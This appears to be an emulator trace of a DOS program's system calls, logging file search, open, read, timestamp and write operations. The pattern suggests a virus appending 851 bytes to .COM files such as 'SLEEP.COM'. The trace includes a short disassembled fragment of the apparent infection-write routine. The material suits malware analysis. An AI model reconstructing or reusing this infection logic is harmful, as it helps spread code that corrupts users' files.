2018-12-25T12:02:56.919110947Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:56.922076267Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:56.931553544Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:56.933920582Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:56.952392908Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:56.95480593Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:56.96435098Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:56.967826554Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:56.979394413Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:56.981722449Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:56.987772256Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:56.989359758Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:56.994416734Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:56.996258897Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.002604553Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.00414419Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.019532898Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.021134726Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.026188234Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.03204557Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.037575919Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.039820904Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.04930933Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.051541136Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.061017428Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.063287876Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.073230309Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.07755954Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.086984042Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.089991829Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.100388186Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.102974815Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.116433506Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.124872252Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.134428199Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.137523474Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.147896688Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.149987405Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.161461305Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.163618862Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.173207221Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.176617411Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.188292155Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.190664665Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.200425513Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.203117579Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.214689108Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.217008838Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.227616904Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.2296695Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.238959846Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.241363212Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.251606421Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.253636102Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.26380376Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.267622251Z 9 PC: 12ae5 | Display string (See above)
2018-12-25T12:02:57.280733828Z 2 PC: 12aeb | Character output (See above)
2018-12-25T12:02:57.284202394Z 26 PC: 12af5 | Set disk transfer address
2018-12-25T12:02:57.285693538Z 78 PC: 12b57 | Find first file
2018-12-25T12:02:57.292050821Z 67 PC: 12b8d | Get or set file attributes
2018-12-25T12:02:57.29822893Z 67 PC: 12b99 | Get or set file attributes
2018-12-25T12:02:57.317743824Z 61 PC: 12ba3 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:02:57.32535325Z 63 PC: 12bcf | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:02:57.332834741Z 87 PC: 12bee | Get or set file date and time
2018-12-25T12:02:57.335211882Z 66 PC: 12bfd | Move file pointer
2018-12-25T12:02:57.337112344Z 44 PC: 12c10 | Get time 0x12c10: cmp dl, 0
0x12c13: je 0x12c0c
0x12c15: cmp dl, 0x10
0x12c18: je 0x12c0c
0x12c1a: xor ax, ax
0x12c1c: mov ah, dl
0x12c1e: mul word ptr [0x3a7]
0x12c22: mov byte ptr [bp + 0x37f], dl
0x12c26: lea bx, word ptr [bp + 0x380]
0x12c2a: mov byte ptr [bp + 0x4c7], 0
0x12c2f: call 0x12caa
0x12c32: mov bx, word ptr [bp + 0x4c8]
0x12c36: cli
0x12c37: mov ah, 0x40
0x12c39: mov cx, 0x353
0x12c3c: lea dx, word ptr [bp + 0x100]
0x12c40: int 0x21
0x12c42: sti
0x12c43: lea bx, word ptr [bp + 0x380]
0x12c47: mov byte ptr [bp + 0x4c7], 0
2018-12-25T12:02:57.340765314Z 64 PC: 12c42 | Write file or device (Write 851 bytes on handle 5)
2018-12-25T12:02:57.351195207Z 66 PC: 12c64 | Move file pointer
2018-12-25T12:02:57.353199845Z 64 PC: 12c6f | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:02:57.360890383Z 87 PC: 12c76 | Get or set file date and time
2018-12-25T12:02:57.363990448Z 62 PC: 12c7a | Close file
2018-12-25T12:02:57.372943575Z 67 PC: 12c90 | Get or set file attributes
2018-12-25T12:02:57.384170866Z 79 PC: 12ca0 | Find next file
2018-12-25T12:02:57.387973243Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:57.394304838Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:57.405480595Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:57.413688389Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:57.421669726Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:57.423381441Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:57.425378126Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:57.428394069Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:57.43970528Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:57.442726267Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:57.449834618Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:57.460646956Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:57.474255057Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:57.493672095Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:57.495410457Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:57.497120866Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:57.500213552Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:57.512010102Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:57.515143189Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:57.52214378Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:57.534074009Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:57.541990097Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:57.550263394Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:57.552092736Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:57.554528169Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:57.55662894Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:57.568913972Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:57.572168691Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:57.578865557Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:57.590474008Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:57.604756608Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:57.612306535Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:57.615192136Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:57.61770438Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:57.620109948Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:57.633176535Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:57.636923661Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:57.643592266Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:57.655875603Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:57.666163144Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:57.673633787Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:57.676030743Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:57.677951942Z 44 PC: 12c10 | Get time (See above)
2018-12-25T12:02:57.680773389Z 64 PC: 12c42 | Write file or device (See above)
2018-12-25T12:02:57.691710252Z 66 PC: 12c64 | Move file pointer (See above)
2018-12-25T12:02:57.693661841Z 64 PC: 12c6f | Write file or device (See above)
2018-12-25T12:02:57.701557059Z 87 PC: 12c76 | Get or set file date and time (See above)
2018-12-25T12:02:57.704032166Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:57.714288943Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:57.725308734Z 79 PC: 12ca0 | Find next file (See above)
2018-12-25T12:02:57.728538393Z 67 PC: 12b8d | Get or set file attributes (See above)
2018-12-25T12:02:57.736873372Z 67 PC: 12b99 | Get or set file attributes (See above)
2018-12-25T12:02:57.747988327Z 61 PC: 12ba3 | Open file (See above)
2018-12-25T12:02:57.755716661Z 63 PC: 12bcf | Read file or device (See above)
2018-12-25T12:02:57.763579427Z 87 PC: 12bee | Get or set file date and time (See above)
2018-12-25T12:02:57.765062292Z 66 PC: 12bfd | Move file pointer (See above)
2018-12-25T12:02:57.766559214Z 62 PC: 12c7a | Close file (See above)
2018-12-25T12:02:57.769242843Z 67 PC: 12c90 | Get or set file attributes (See above)
2018-12-25T12:02:57.780754218Z 250 PC: 12b11 | UNKNOWN!
2018-12-25T12:02:57.781731699Z 59 PC: 12b19 | Change current directory
2018-12-25T12:02:57.78455589Z 51 PC: 12b22 | Get or set Ctrl-Break
2018-12-25T12:02:57.785458226Z 37 PC: 12b2b | Set interrupt vector (Interrupt = '36' AKA 'Set random record number')
2018-12-25T12:02:57.787759915Z 26 PC: 12b34 | Set disk transfer address